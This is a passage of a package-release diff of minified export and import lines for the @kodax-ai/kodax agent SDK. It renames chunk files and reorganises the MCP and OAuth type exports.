cp,i as Or,ic as dp,j as Pr,ja as Ke,jc as gp,k as Qr,ka as Le,kc as hp,kd as bt,l as Rr,la as Me,lc as ip,ld as ct,m as Sr,ma as Ne,mc as jp,md as dt,n as Tr,na as Oe,nc as kp,nd as gt,o as Ur,oa as Pe,oc as lp,od as ht,p as Vr,pa as Qe,pc as np,pd as it,q as Wr,qa as Re,qc as qp,qd as jt,r as Xr,ra as Se,rc as sp,rd as kt,s as Yr,sa as Te,sc as up,sd as lt,t as Zr,ta as Ue,tc as vp,td as nt,u as _r,ua as Ve,uc as wp,ud as qt,v as $r,va as We,vc as yp,vd as st,w as oe,wa as Xe,wc as zp,wd as ut,x as re,xa as Ye,xb as Kf,xc as Ap,xd as vt,y as ee,ya as Ze,yb as Lf,yc as Bp,yd as wt,za as _e,zb as Mf,zc as Cp,zd as yt}from"./chunks/chunk-3HKBBY74.js";import{$ as i,A as a,Aa as L,B as b,Ba as M,C as c,Ca as N,D as d,Da as O,E as g,Ea as P,Fa as Q,Ga as R,Ha as S,Ia as T,Ja as U,Ka as V,La as W,Ma as X,Na as Y,Oa as Z,R as h,Ra as _,a as o,aa as j,b as r,c as e,fa as k,ga as l,ha as n,ia as q,j as f,ja as s,k as m,ka as u,la as v,ma as w,na as y,oa as z,pa as A,qa as B,ra as C,s as p,sa as D,t,ta as E,ua as F,va as G,wa as H,xa as I,ya as J,z as x,za as K}from"./chunks/chunk-O7N22GJ3.js";import{$c as jr,Aa as Vo,Ad as Ir,Bd as Jr,Ic as Yo,Id as Kr,Jc as Zo,Jd as Lr,Kc as _o,Lc as $o,Mc as or,Nc as rr,Oc as er,Pc as fr,Qc as mr,Rc as pr,Sc as tr,Tc as xr,Uc as ar,Vc as br,Wc as cr,Xc as dr,Yc as gr,Zc as hr,_c as ir,a as Bo,ad as kr,b as Co,bd as lr,c as Do,d as Eo,dd as nr,e as Fo,ed as qr,f as Go,fd as sr,gd as ur,h as Ho,hd as vr,i as Io,j as Jo,k as Ko,l as Lo,na as Qo,od as wr,p as Mo,pd as yr,q as No,qa as Ro,qd as zr,r as Oo,rb as Wo,rd as Ar,s as Po,sb as Xo,sd as Br,td as Cr,ud as Dr,wd as Er,xa as So,xd as Fr,ya as To,yd as Gr,za as Uo,zd as Hr}from"./chunks/chunk-TLJGOKBT.js";import{H as yo,a as eo,b as fo,c as mo,d as po,e as to,f as xo,g as ao,h as bo,i as co,j as go,k as ho,l as io,m as jo,n as ko,o as lo,p as no,v as qo,w as so,x as uo,y as vo,z as wo}from"./chunks/chunk-PZTG2C33.js";import"./chunks/chunk-ONUPGMER.js";export{Mp as ALWAYS_RESIDENT_TOOL_NAMES,yx as AUTO_MODE_DENIAL_CONSECUTIVE_THRESHOLD,zx as AUTO_MODE_DENIAL_CUMULATIVE_THRESHOLD,Tx as BASH_POLICY_SPEC,Pt as BLOCKER_REQUIRED_CONSECUTIVE_TURNS,Ex as BREAKER_ERROR_THRESHOLD,Fx as BREAKER_WINDOW_MS,om as BUILTIN_WORKFLOWS,Nr as CANCELLED_TOOL_RESULT_MESSAGE,Mr as CANCELLED_TOOL_RESULT_PREFIX,ix as CODING_AGENT_MARKER,It as CODING_INVARIANTS,Op as CODING_SUMMARY_PROMPT,Pp as CODING_UPDATE_SUMMARY_PROMPT,Wm as CapabilityDeniedError,Kt as Client,Fp as CombinedExtensionRuntime,Xm as ConstructionManifestError,Up as DEFAULT_CODING_AGENT_NAME,fx as DEFAULT_DANGEROUS_PATTERNS,Um as DEFAULT_HANDLER_TIMEOUT_MS,jf as DEFAULT_RESILIENCE_CONFIG,ex as DEFAULT_SAFE_PATTERNS,pp as DEFAULT_SELF_MODIFY_BUDGET,Px as DEFAULT_SPECULATIVE_WINDOW_MS,Pr as DEFAULT_TOOL_OUTPUT_MAX_BYTES,Or as DEFAULT_TOOL_OUTPUT_MAX_LINES,Sf as DEFAULT_WORKFLOW_GENERATION_TIMEOUT_MS,Po as DefaultSummaryCompaction,dx as EMIT_VERDICT_TOOL_NAME,zo as ErrorCategory,xf as GENERATOR_AGENT_NAME,fo as ImageResizeError,Io as KODAX_API_MIN_INTERVAL,n as KODAX_DEFAULT_PROVIDER,Co as KODAX_DEFAULT_TIMEOUT,uo as KODAX_FILE_MEDIA_TYPES,Do as KODAX_HARD_TIMEOUT,qo as KODAX_IMAGE_MEDIA_TYPES,Go as KODAX_MAX_INCOMPLETE_RETRIES,Eo as KODAX_MAX_RETRIES,Bo as KODAX_MAX_TOKENS,l as KODAX_PROVIDERS,k as KODAX_PROVIDER_SNAPSHOTS,p as KODAX_REASONING_MODE_SEQUENCE,Fo as KODAX_RETRY_BASE_DELAY,t as KODAX_STABLE_EFFORT_INTENTS,Ho as KODAX_STAGGER_DELAY,bt as KODAX_TOOLS,_r as KODAX_UNDERLYING_CAPABILITY_TOPICS,so as KODAX_VIDEO_MEDIA_TYPES,i as KodaXAnthropicCompatProvider,h as KodaXBaseProvider,Kt as KodaXClient,o as KodaXError,Ep as KodaXExtensionRuntime,eo as KodaXMediaError,j as KodaXOpenAICompatProvider,r as KodaXProviderError,e as KodaXRateLimitError,oo as KodaXSessionError,ro as KodaXTerminalError,$ as KodaXToolError,nr as LINEAGE_ENTRY_TYPES,Mf as LSP_SERVERS,sr as LineageCompaction,qr as LineageExtension,Nf as LspService,$r as MANUAL_REGISTRY,Zr as MANUAL_TOPIC_IDS,bo as MAX_DIMENSION,fr as McpAuthRequiredError,jr as McpCapabilityProvider,er as McpExpiredSessionError,kr as McpManager,ir as McpServerRuntime,jo as PASTE_TMP_DIR_ENV,ko as PASTE_TMP_TTL_MS,tf as PLANNER_AGENT_NAME,Jo as PROMISE_PATTERN,Am as PROMPT_SECTION_REGISTRY,hx as PROTOCOL_EMITTER_TOOLS,uf as ProviderRecoveryCoordinator,Qr as READ_DEFAULT_LIMIT,Sr as READ_MAX_LINE_CHARS,Rr as READ_PREFLIGHT_SIZE_BYTES,Ap as REPO_EXPLORER_AGENT_NAME,Bp as REPO_EXPLORER_TOOL_NAMES,Ro as Runner,pf as SCOUT_AGENT_NAME,fa as SCOUT_THEN_AUTHOR_PROMPT_LINES,Gm as SELF_KNOWLEDGE_ROUTING_RULE,zm as SYSTEM_PROMPT,km as SYSTEM_WORKFLOW_LIMITS,qf as StableBoundaryTracker,co as TARGET_RAW_SIZE_BYTES,cf as TASK_ENGINE_ROLE_AGENTS,Lt as TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME,Wx as TRACING_ENV,af as WORKER_AGENT_NAME,Rf as WORKFLOW_GENERATION_SYSTEM_PROMPT,gp as _resetRuntimeForTesting,jp as activate,le as analyzeChangedScope,fp as appendAuditEntry,Cr as appendSessionLineageLabel,ot as applyAccountingDelta,Dr as applySessionCompaction,Te as applyToolResultGuardrail,Jr as archiveOldIslands,pa as authorWorkflowViaWorker,Dx as autoModeDenialShouldFallback,Mx as bashSignalCollector,Xx as bootstrapTracing,Et as boundedRevise,Ix as breakerShouldFallback,Ft as budgetCeiling,lm as buildApprovalSummary,ft as buildBlockedGoal,Hm as buildCapabilityContextSections,jx as buildClassifierPrompt,mt as buildCompleteGoal,$p as buildCreatedGoal,Gf as buildFallbackRoutingDecision,Tt as buildGoalRuntimeBinding,hr as buildInitializeCapabilities,op as buildLlmReviewPrompt,re as buildManualToolDescription,Xt as buildMcpReverseCapabilities,rt as buildPausedGoal,vf as buildPromptMessageContent,Em as buildPromptSnapshot,Af as buildProviderCapabilitySnapshot,Hf as buildProviderPolicyHintsForDecision,Bf as buildProviderPolicyPromptNotes,ke as buildRepoIntelligenceContext,De as buildRepoIntelligenceIndex,he as buildRepoOverview,et as buildResumedGoal,ma as buildScoutThenAuthorPrompt,Fm as buildSelfKnowledgeRoutingRule,Hr as buildSessionTree,Jm as buildSystemPrompt,Im as buildSystemPromptSnapshot,Pe as buildToolResultBudget,Qe as buildToolResultBudgetFromUsage,tt as buildToolSearchIndex,Wf as buildWorkflowGenerationSkillContext,Vf as buildWorkflowGenerationUserPrompt,Lx as checkAbsoluteDeny,wf as checkIncompleteToolCalls,Jf as checkPromiseSignal,Re as clampToolResultPolicyToBudget,nm as clampWorkflowLimits,lx as classify,px as classifyBashCommand,Ao as classifyError,lf as classifyResilienceError,Xo as cleanupIncompleteToolCalls,T as clearRuntimeModelProviders,Ox as collectAllSignals,Gp as combineExtensionRuntimes,xx as computeInputSignature,nx as computeRulesFingerprint,dp as configureRuntime,Sp as consumeCompactionCooldown,Xe as convertCapabilityReadResult,We as convertProviderSearchResults,Ir as countActiveLineageMessages,Lo as countTokens,Mo as createAgent,Ax as createAutoModeDenialTracker,Sx as createAutoModeToolGuardrail,mx as createBashClassifierConfig,Vx as createBashPrefixExtractor,lt as createBuiltinToolDefinition,Gx as createCircuitBreaker,_f as createCodingWorkflowBackend,Qp as createCompactionAntiThrashState,Ym as createCtxProxy,F as createCustomProvider,Vp as createDefaultCodingAgent,tx as createDenialTracker,Hp as createExtensionRuntime,xo as createFileArtifactFromPath,No as createHandoff,to as createImageArtifactFromPath,Oo as createInMemorySession,_t as createKodaXTaskRunner,Zo as createMcpCapabilityId,lr as createMcpManager,mr as createMcpTransport,Bm as createPromptSection,If as createReasoningPlan,jm as createRunGraphWriter,Lp as createRuntimeContextBudgetSnapshot,Ct as createSessionControl,wr as createSessionLineage,Mt as createToolResultTruncationGuardrail,ao as createVideoArtifactFromPath,Zx as createWorkflowLifecycleController,oa as createWorkflowPatternTemplateModule,vm as createWorkflowRunManager,ra as decideWorkflowInvocation,Pm as dedupeExtensionPathsByEntrypoint,Yo as defaultMcpCacheDir,Vm as defaultPolicy,bm as deleteSavedWorkflow,cp as disableSelfModify,ar as discoverAuthorizationServerMetadata,Tm as discoverDefaultExtensions,Sm as discoverExtensionsInDirectory,Rm as discoverExtensionsInDirectoryDetailed,zp as discoverMarkdownAgents,br as discoverOAuthEndpoints,xr as discoverProtectedResourceMetadata,fm as discoverSavedWorkflows,hf as drainPendingSwaps,b as effortToLegacyReasoningMode,gx as emitVerdict,sm as emitWorkflowAgentDigest,yo as enqueueWithArtifacts,Cp as ensureBuiltinRepoExplorerAgent,Ko as estimateTokens,Kp as estimateToolSchemaTokens,Cf as evaluateProviderPolicy,Qm as excludeExtensionPathsByEntrypoint,Km as exec,Bt as executeTool,Kr as extractArtifactLedger,Ux as extractCommandPrefix,zf as extractComparableUserMessageText,Ve as extractHtmlTitle,tr as extractInsufficientScope,yf as extractPromptComparableText,pr as extractResourceMetadataUrl,vr as extractTitleFromMessages,Nx as fileSignalCollector,Ze as finalizeRetrievalResult,up as findByVersion,Er as findPreviousUserEntryId,Gr as forkSessionLineage,mf as formatAgentsForPrompt,ox as formatParallelDispatchResult,Tr as formatSize,ur as generateSessionId,Yf as generateWorkflow,Zf as generateWorkflowFromOptions,Jp as getActiveExtensionRuntime,To as getAgentConfigHome,Uo as getAgentConfigPath,qt as getAllRegisteredTools,Vo as getAppDataDir,W as getAvailableProviderNames,kt as getBuiltinRegisteredToolDefinition,jt as getBuiltinToolDefinition,rm as getBuiltinWorkflow,N as getCustomModelCapabilities,H as getCustomProvider,K as getCustomProviderList,M as getCustomProviderModelDescriptors,L as getCustomProviderModels,J as getCustomProviderNames,Nm as getDefaultExtensionDirectory,Of as getDefaultLspService,wm as getDefaultWorkflowRunManager,cx as getDenialContext,Ie as getImpactEstimate,ef as getKodaxGlobalDir,rr as getMcpCachePaths,C as getModelCapabilities,vo as getModelInputCapabilities,Fe as getModuleContext,He as getProcessContext,q as getProvider,w as getProviderConfiguredCapabilityProfile,v as getProviderConfiguredReasoningCapability,y as getProviderList,u as getProviderModel,B as getProviderModelDescriptors,z as getProviderModels,ht as getRegisteredToolDefinition,Ee as getRepoIntelligenceIndex,ie as getRepoOverview,Je as getRepoRoutingSignals,yt as getRequiredToolParams,Q as getRuntimeModelProvider,S as getRuntimeModelProviderNames,yr as getSessionLineagePath,zr as getSessionMessagesFromLineage,Ge as getSymbolContext,dt as getTool,gt as getToolDefinition,it as getToolRegistrations,Se as getToolResultPolicy,$x as getWorkflowPatternTemplate,Yp as goalTokenDelta,gf as hasPendingSwap,mo as inferImageMediaType,Ff as inferTaskType,po as inferVideoMediaType,te as inspectEditFailure,Ce as inspectRepoIntelligenceRuntime,I as isCustomProviderName,bx as isDeniedRecently,V as isKnownProvider,$t as isParallelDispatchDirective,s as isProviderConfigured,A as isProviderName,R as isRuntimeModelProviderName,nf as isSessionRecoveryCandidateError,Mm as isSupportedExtensionModulePath,ut as isToolFileMutation,wt as isToolMutation,vt as isToolNetworkRead,st as isToolPlanModeAllowed,pt as isValidTokenBudget,Kf as languageIdForPath,vp as listAll,Z as listAllModelCapabilities,np as listArtifacts,D as listBuiltinModelCapabilities,nt as listBuiltinToolDefinitions,em as listBuiltinWorkflows,sp as listConstructed,O as listCustomProviderModelCapabilities,At as listToolDefinitions,zt as listTools,_x as listWorkflowPatternTemplates,ff as loadAgentsFiles,wp as loadAgentsFromMarkdown,vx as loadAutoRules,dm as loadGeneratedWorkflowFromRun,Zm as loadHandler,yp as loadMarkdownAgentScope,tm as loadSavedWorkflow,pm as loadSavedWorkflowCapsule,gr as loadValidToken,Xp as makeDisabledGoalToolsContext,a as mapLegacyReasoningModeToEffortIntent,Wt as mcpRootsFromWorkspace,Lr as mergeArtifactLedger,_o as normalizeMcpCapabilityId,go as normalizePastedImage,x as normalizeReasoningEffortValue,mm as normalizeWorkflowModule,Cm as orderPromptSections,$f as parallelInvestigation,ux as parseAutoRules,kx as parseClassifierOutput,pe as parseEditToolError,rp as parseLlmReviewVerdict,$o as parseMcpCapabilityId,Jx as parseModelSpec,c as parseReasoningEffortEnv,m as parseTimeoutSecEnvMs,at as parseToolSearchQuery,Xf as parseWorkflowGeneration,dr as performOAuthLogin,lo as persistImageAsBlock,Xr as persistToolOutput,Np as planToolExposure,hm as preflightWorkflowCapsule,Ke as prewarmRepoIntelligenceCaches,Qf as providerResilienceConfigFromTimeouts,no as prunePasteTmpDir,io as readAndNormalizeClipboardImage,qp as readArtifact,mp as readAuditEntries,tp as readBudget,ho as readClipboardImage,bp as readDisableState,Qx as readSpeculativeWindowFromEnv,qx as readTrustState,Ef as reasoningModeToDepth,sf as reconstructMessagesWithToolGuard,Cx as recordAutoModeAllow,Bx as recordAutoModeBlock,Nt as recordBlockerAttempt,Hx as recordBreakerError,Tp as recordCompactionSavings,ax as recordDenial,Jt as registerCodingInvariants,Vt as registerConfiguredMcpCapabilityProvider,G as registerCustomProviders,P as registerModelProvider,cr as registerOAuthClient,Yt as registerOfficialSandboxExtension,Qo as registerPresetDispatcher,ct as registerTool,kp as rehydrateActiveArtifacts,xp as remainingSelfModifyBudget,am as renameSavedWorkflow,ne as renderChangedScope,ze as renderImpactEstimate,ve as renderModuleContext,ye as renderProcessContext,Dm as renderPromptSections,je as renderRepoOverview,Ye as renderRetrievalResult,we as renderSymbolContext,cm as replaceSavedWorkflow,Lf as reportLspDiagnostics,Ot as resetBlockerCounter,ap as resetBudget,Kx as resolveClassifierModel,df as resolveConstructedAgent,Om as resolveExtensionEntrypoint,oe as resolveKodaXManual,Y as resolveModelCapabilities,U as resolveProvider,X as resolveProviderModelDescriptors,d as resolveReasoningEffort,g as resolveReasoningEffortForModelSwitch,Df as resolveReasoningMode,Be as resolveRepoIntelligenceMode,Ae as resolveRepoIntelligenceRuntimeConfig,kf as resolveResilienceConfig,Ar as resolveSessionLineageTarget,Gt as resolveToolCapability,_ as resolveWireEffort,Tf as resolveWorkflowGenerationTimeoutMs,Yx as resolveWorkflowIdentity,lp as revoke,Fr as rewindSessionLineage,Dp as rollbackSelfModify,_m as runAstRules,Wp as runKodaX,ep as runLlmReview,Ut as runManagedTask,Zt as runOrchestration,um as runWorkflowFromOptions,qm as runWorkflowModule,im as safeWorkflowArtifactName,xm as saveGeneratedWorkflow,gm as saveGeneratedWorkflowFromRun,or as searchMcpCatalog,xt as searchToolIndex,Ip as setActiveExtensionRuntime,So as setAgentConfigHome,Br as setSessionLineageActiveEntry,_p as shouldFlipBudgetLimited,Rp as shouldSkipLlmCompaction,Pf as shutdownDefaultLspService,Rx as speculativeRace,hp as stage,Dt as startKodaX,ym as startManagedWorkflow,wx as stripAssistantText,Ue as stripHtmlToText,ip as testArtifact,f as timeoutSecToMs,ge as toolAskUserQuestion,ae as toolBash,ue as toolChangedDiff,se as toolChangedScope,of as toolCodeSearch,me as toolEdit,be as toolGlob,ce as toolGrep,Oe as toolImpactEstimate,xe as toolInsertAfterAnchor,Le as toolModuleContext,Ht as toolPermission,Ne as toolProcessContext,Yr as toolRead,qe as toolRepoOverview,rf as toolSemanticLookup,Me as toolSymbolContext,de as toolUndo,$e as toolWebFetch,_e as toolWebSearch,fe as toolWrite,Ur as truncateHead,Wr as truncateLine,Vr as truncateTail,sx as trustProjectRules,Zp as turnWallTimeDelta,Wo as validateAndFixToolHistory,E as validateCustomProviderConfig,Uf as validateGeneratedWorkflowSource,wo as validateInputArtifactsForModel,rx as validateSubtaskIndependence,$m as validateToolSchemaForProvider,St as verifyGoalCompletion,Lm as webhook,Qt as withGoalBeforeNextTurn,Rt as withGoalStopHook,ee as withManualToolBranding,bf as workerAgent,ea as workflowStartOutcomeConsumesTurn};
package/dist/sdk-llm.js CHANGED
@@ -1,2 +1,2 @@
1
1
  // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
2
- import{$,$a as or,A,Aa as Bo,B,Ba as Co,C,Ca as Do,D,Da as Eo,E,Ea as Fo,F,Fa as Go,G,Ga as Ho,H,Ha as Io,I,Ia as Jo,J,Ja as Ko,K,Ka as Lo,L,La as Mo,M,Ma as No,N,Na as Oo,O,Oa as Po,P,Pa as Qo,Q,Qa as Ro,R,Ra as So,S,Sa as To,T,Ta as Uo,U,Ua as Vo,V,Va as Wo,W,Wa as Xo,X,Xa as Yo,Y,Ya as Zo,Z,Za as _o,_,_a as $o,a as o,aa as oo,b as r,ba as ro,c as e,ca as eo,d as f,da as fo,e as m,ea as mo,f as p,fa as po,g as t,ga as to,h as x,ha as xo,i as a,ia as ao,j as b,ja as bo,k as c,ka as co,l as d,la as go,m as g,ma as ho,n as h,na as io,o as i,oa as jo,p as j,pa as ko,q as k,qa as lo,r as l,ra as no,s as n,sa as qo,t as q,ta as so,u as s,ua as uo,v as u,va as vo,w as v,wa as wo,x as w,xa as yo,y,ya as zo,z,za as Ao}from"./chunks/chunk-S4GVQO3W.js";import"./chunks/chunk-V4WSBIXB.js";export{To as DEFAULT_COST_RATES,a as KODAX_API_MIN_INTERVAL,t as KODAX_CAPPED_MAX_OUTPUT_TOKENS,xo as KODAX_DEFAULT_PROVIDER,s as KODAX_DEFAULT_THINKING_BUDGETS,x as KODAX_ESCALATED_MAX_OUTPUT_TOKENS,p as KODAX_MAX_TOKENS,to as KODAX_PROVIDERS,po as KODAX_PROVIDER_SNAPSHOTS,n as KODAX_REASONING_MODE_SEQUENCE,u as KODAX_REASONING_SAFETY_RESERVE,q as KODAX_STABLE_EFFORT_INTENTS,$ as KodaXAnthropicCompatProvider,R as KodaXBaseProvider,o as KodaXError,f as KodaXNetworkError,oo as KodaXOpenAICompatProvider,r as KodaXProviderError,e as KodaXRateLimitError,m as KodaXToolCallIdError,M as WORKFLOW_MAX_CONCURRENCY_ABSOLUTE,L as WORKFLOW_MAX_CONCURRENCY_DEFAULT,j as addRejectedEffort,Vo as calculateCost,g as capabilityCacheKey,H as clampThinkingBudget,T as classifyStopReason,W as classifyVerifyError,Jo as clearRuntimeModelProviders,Wo as createCostTracker,uo as createCustomProvider,B as effortToLegacyReasoningMode,K as extractHeadersFromError,_o as formatCost,$o as formatCostReport,Mo as getAvailableProviderNames,ro as getCodexCliDefaultModel,fo as getCodexCliKnownModels,Uo as getCostRate,Do as getCustomModelCapabilities,wo as getCustomProvider,Ao as getCustomProviderList,Co as getCustomProviderModelDescriptors,Bo as getCustomProviderModels,zo as getCustomProviderNames,F as getDefaultThinkingDepthForMode,eo as getGeminiCliDefaultModel,mo as getGeminiCliKnownModels,no as getModelCapabilities,ao as getProvider,ho as getProviderConfiguredCapabilityProfile,go as getProviderConfiguredReasoningCapability,io as getProviderList,co as getProviderModel,lo as getProviderModelDescriptors,jo as getProviderModels,v as getReasoningCapability,i as getRejectedEfforts,P as getRunScopedConfig,Go as getRuntimeModelProvider,Io as getRuntimeModelProviderNames,Zo as getSummary,X as insertCacheBoundary,Y as isCacheBoundary,U as isCleanStop,yo as isCustomProviderName,Lo as isKnownProvider,bo as isProviderConfigured,ko as isProviderName,w as isReasoningEnabled,Ho as isRuntimeModelProviderName,Po as listAllModelCapabilities,qo as listBuiltinModelCapabilities,Eo as listCustomProviderModelCapabilities,Ro as listProviderModels,Z as lowerCacheBoundaries,I as mapDepthToOpenAIReasoningEffort,A as mapLegacyReasoningModeToEffortIntent,h as narrowReasoningProfile,Q as normalizeCapabilityProfile,z as normalizeReasoningEffortValue,y as normalizeReasoningRequest,C as parseReasoningEffortEnv,J as parseRetryAfter,c as parseTimeoutSecEnvMs,S as parseToolInputWithSalvage,Xo as recordRetry,Yo as recordUsage,vo as registerCustomProviders,Fo as registerModelProvider,k as removeCacheEntry,d as resolveLlmTimeoutConfig,Oo as resolveModelCapabilities,Ko as resolveProvider,No as resolveProviderModelDescriptors,D as resolveReasoningEffort,E as resolveReasoningEffortForModelSwitch,G as resolveThinkingBudget,So as resolveWireEffort,N as resolveWorkflowMaxConcurrency,V as runVerifyCredential,O as runWithScopedConfig,l as sanitizeCapabilityCache,or as sideQuery,_ as stripCacheBoundaries,b as timeoutSecToMs,so as validateCustomProviderConfig,Qo as verifyProviderCredential};
2
+ import{$,$a as or,A,Aa as Bo,B,Ba as Co,C,Ca as Do,D,Da as Eo,E,Ea as Fo,F,Fa as Go,G,Ga as Ho,H,Ha as Io,I,Ia as Jo,J,Ja as Ko,K,Ka as Lo,L,La as Mo,M,Ma as No,N,Na as Oo,O,Oa as Po,P,Pa as Qo,Q,Qa as Ro,R,Ra as So,S,Sa as To,T,Ta as Uo,U,Ua as Vo,V,Va as Wo,W,Wa as Xo,X,Xa as Yo,Y,Ya as Zo,Z,Za as _o,_,_a as $o,a as o,aa as oo,b as r,ba as ro,c as e,ca as eo,d as f,da as fo,e as m,ea as mo,f as p,fa as po,g as t,ga as to,h as x,ha as xo,i as a,ia as ao,j as b,ja as bo,k as c,ka as co,l as d,la as go,m as g,ma as ho,n as h,na as io,o as i,oa as jo,p as j,pa as ko,q as k,qa as lo,r as l,ra as no,s as n,sa as qo,t as q,ta as so,u as s,ua as uo,v as u,va as vo,w as v,wa as wo,x as w,xa as yo,y,ya as zo,z,za as Ao}from"./chunks/chunk-O7N22GJ3.js";import"./chunks/chunk-ONUPGMER.js";export{To as DEFAULT_COST_RATES,a as KODAX_API_MIN_INTERVAL,t as KODAX_CAPPED_MAX_OUTPUT_TOKENS,xo as KODAX_DEFAULT_PROVIDER,s as KODAX_DEFAULT_THINKING_BUDGETS,x as KODAX_ESCALATED_MAX_OUTPUT_TOKENS,p as KODAX_MAX_TOKENS,to as KODAX_PROVIDERS,po as KODAX_PROVIDER_SNAPSHOTS,n as KODAX_REASONING_MODE_SEQUENCE,u as KODAX_REASONING_SAFETY_RESERVE,q as KODAX_STABLE_EFFORT_INTENTS,$ as KodaXAnthropicCompatProvider,R as KodaXBaseProvider,o as KodaXError,f as KodaXNetworkError,oo as KodaXOpenAICompatProvider,r as KodaXProviderError,e as KodaXRateLimitError,m as KodaXToolCallIdError,M as WORKFLOW_MAX_CONCURRENCY_ABSOLUTE,L as WORKFLOW_MAX_CONCURRENCY_DEFAULT,j as addRejectedEffort,Vo as calculateCost,g as capabilityCacheKey,H as clampThinkingBudget,T as classifyStopReason,W as classifyVerifyError,Jo as clearRuntimeModelProviders,Wo as createCostTracker,uo as createCustomProvider,B as effortToLegacyReasoningMode,K as extractHeadersFromError,_o as formatCost,$o as formatCostReport,Mo as getAvailableProviderNames,ro as getCodexCliDefaultModel,fo as getCodexCliKnownModels,Uo as getCostRate,Do as getCustomModelCapabilities,wo as getCustomProvider,Ao as getCustomProviderList,Co as getCustomProviderModelDescriptors,Bo as getCustomProviderModels,zo as getCustomProviderNames,F as getDefaultThinkingDepthForMode,eo as getGeminiCliDefaultModel,mo as getGeminiCliKnownModels,no as getModelCapabilities,ao as getProvider,ho as getProviderConfiguredCapabilityProfile,go as getProviderConfiguredReasoningCapability,io as getProviderList,co as getProviderModel,lo as getProviderModelDescriptors,jo as getProviderModels,v as getReasoningCapability,i as getRejectedEfforts,P as getRunScopedConfig,Go as getRuntimeModelProvider,Io as getRuntimeModelProviderNames,Zo as getSummary,X as insertCacheBoundary,Y as isCacheBoundary,U as isCleanStop,yo as isCustomProviderName,Lo as isKnownProvider,bo as isProviderConfigured,ko as isProviderName,w as isReasoningEnabled,Ho as isRuntimeModelProviderName,Po as listAllModelCapabilities,qo as listBuiltinModelCapabilities,Eo as listCustomProviderModelCapabilities,Ro as listProviderModels,Z as lowerCacheBoundaries,I as mapDepthToOpenAIReasoningEffort,A as mapLegacyReasoningModeToEffortIntent,h as narrowReasoningProfile,Q as normalizeCapabilityProfile,z as normalizeReasoningEffortValue,y as normalizeReasoningRequest,C as parseReasoningEffortEnv,J as parseRetryAfter,c as parseTimeoutSecEnvMs,S as parseToolInputWithSalvage,Xo as recordRetry,Yo as recordUsage,vo as registerCustomProviders,Fo as registerModelProvider,k as removeCacheEntry,d as resolveLlmTimeoutConfig,Oo as resolveModelCapabilities,Ko as resolveProvider,No as resolveProviderModelDescriptors,D as resolveReasoningEffort,E as resolveReasoningEffortForModelSwitch,G as resolveThinkingBudget,So as resolveWireEffort,N as resolveWorkflowMaxConcurrency,V as runVerifyCredential,O as runWithScopedConfig,l as sanitizeCapabilityCache,or as sideQuery,_ as stripCacheBoundaries,b as timeoutSecToMs,so as validateCustomProviderConfig,Qo as verifyProviderCredential};
package/dist/sdk-mcp.d.ts CHANGED
@@ -1,6 +1,7 @@
1
1
  import { b as McpServersConfig } from './types-chunks/config.d-CJy1WENT.js';
2
2
  export { M as McpConnectMode, a as McpServerConfig, c as McpTransportKind } from './types-chunks/config.d-CJy1WENT.js';
3
- export { A as AuthorizationServerMetadata, D as DiscoveredOAuthEndpoints, M as McpAuthRequiredError, a as McpCapabilityDescriptor, b as McpCapabilityKind, c as McpCapabilityProvider, d as McpCapabilityRisk, e as McpCatalogItem, f as McpElicitRequest, g as McpElicitResult, h as McpExpiredSessionError, i as McpIcon, j as McpManager, k as McpProviderOptions, l as McpReverseCapabilities, m as McpRoot, n as McpSamplingRequest, o as McpSamplingResult, p as McpServerCatalog, q as McpServerCatalogSnapshot, r as McpServerLogs, s as McpServerRuntime, t as McpServerRuntimeDiagnostics, u as McpServerStatus, v as McpServerToolList, w as McpToolTaskSupport, x as McpTransport, y as McpTransportEvents, O as OAuthClientInfo, z as OAuthLoginConsent, P as PerformOAuthLoginOptions, B as ProtectedResourceMetadata, W as WwwAuthenticateChallenge, C as buildInitializeCapabilities, E as createMcpCapabilityId, F as createMcpManager, G as createMcpTransport, H as defaultMcpCacheDir, I as discoverAuthorizationServerMetadata, J as discoverOAuthEndpoints, K as discoverProtectedResourceMetadata, L as extractInsufficientScope, N as extractResourceMetadataUrl, Q as getMcpCachePaths, R as loadValidToken, S as normalizeMcpCapabilityId, T as parseMcpCapabilityId, U as performOAuthLogin, V as registerOAuthClient, X as searchMcpCatalog } from './types-chunks/manager.d-DBD7SOTT.js';
3
+ export { M as McpCapabilityDescriptor, a as McpCapabilityKind, b as McpCapabilityProvider, c as McpCapabilityRisk, d as McpCatalogItem, e as McpElicitRequest, f as McpElicitResult, g as McpIcon, h as McpManager, i as McpProviderOptions, j as McpReverseCapabilities, k as McpRoot, l as McpSamplingRequest, m as McpSamplingResult, n as McpServerCatalog, o as McpServerCatalogSnapshot, p as McpServerLogs, q as McpServerRuntime, r as McpServerRuntimeDiagnostics, s as McpServerStatus, t as McpServerToolList, u as McpToolTaskSupport, v as buildInitializeCapabilities, w as createMcpCapabilityId, x as createMcpManager, y as defaultMcpCacheDir, z as getMcpCachePaths, A as normalizeMcpCapabilityId, B as parseMcpCapabilityId, C as searchMcpCatalog } from './types-chunks/manager.d-Zum9cGHU.js';
4
+ export { A as AuthorizationServerMetadata, D as DiscoveredOAuthEndpoints, M as McpAuthRequiredError, a as McpExpiredSessionError, b as McpTransport, c as McpTransportEvents, O as OAuthClientInfo, d as OAuthLoginConsent, P as PerformOAuthLoginOptions, e as ProtectedResourceMetadata, W as WwwAuthenticateChallenge, f as createMcpTransport, g as discoverAuthorizationServerMetadata, h as discoverOAuthEndpoints, i as discoverProtectedResourceMetadata, j as extractInsufficientScope, k as extractResourceMetadataUrl, l as loadValidToken, p as performOAuthLogin, r as registerOAuthClient } from './types-chunks/oauth-login.d-Bgb4rdLN.js';
4
5
  import './types-chunks/capability.d-3C62G8Eq.js';
5
6
 
6
7
  interface McpTestServerFixture {
package/dist/sdk-mcp.js CHANGED
@@ -1,2 +1,2 @@
1
1
  // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
2
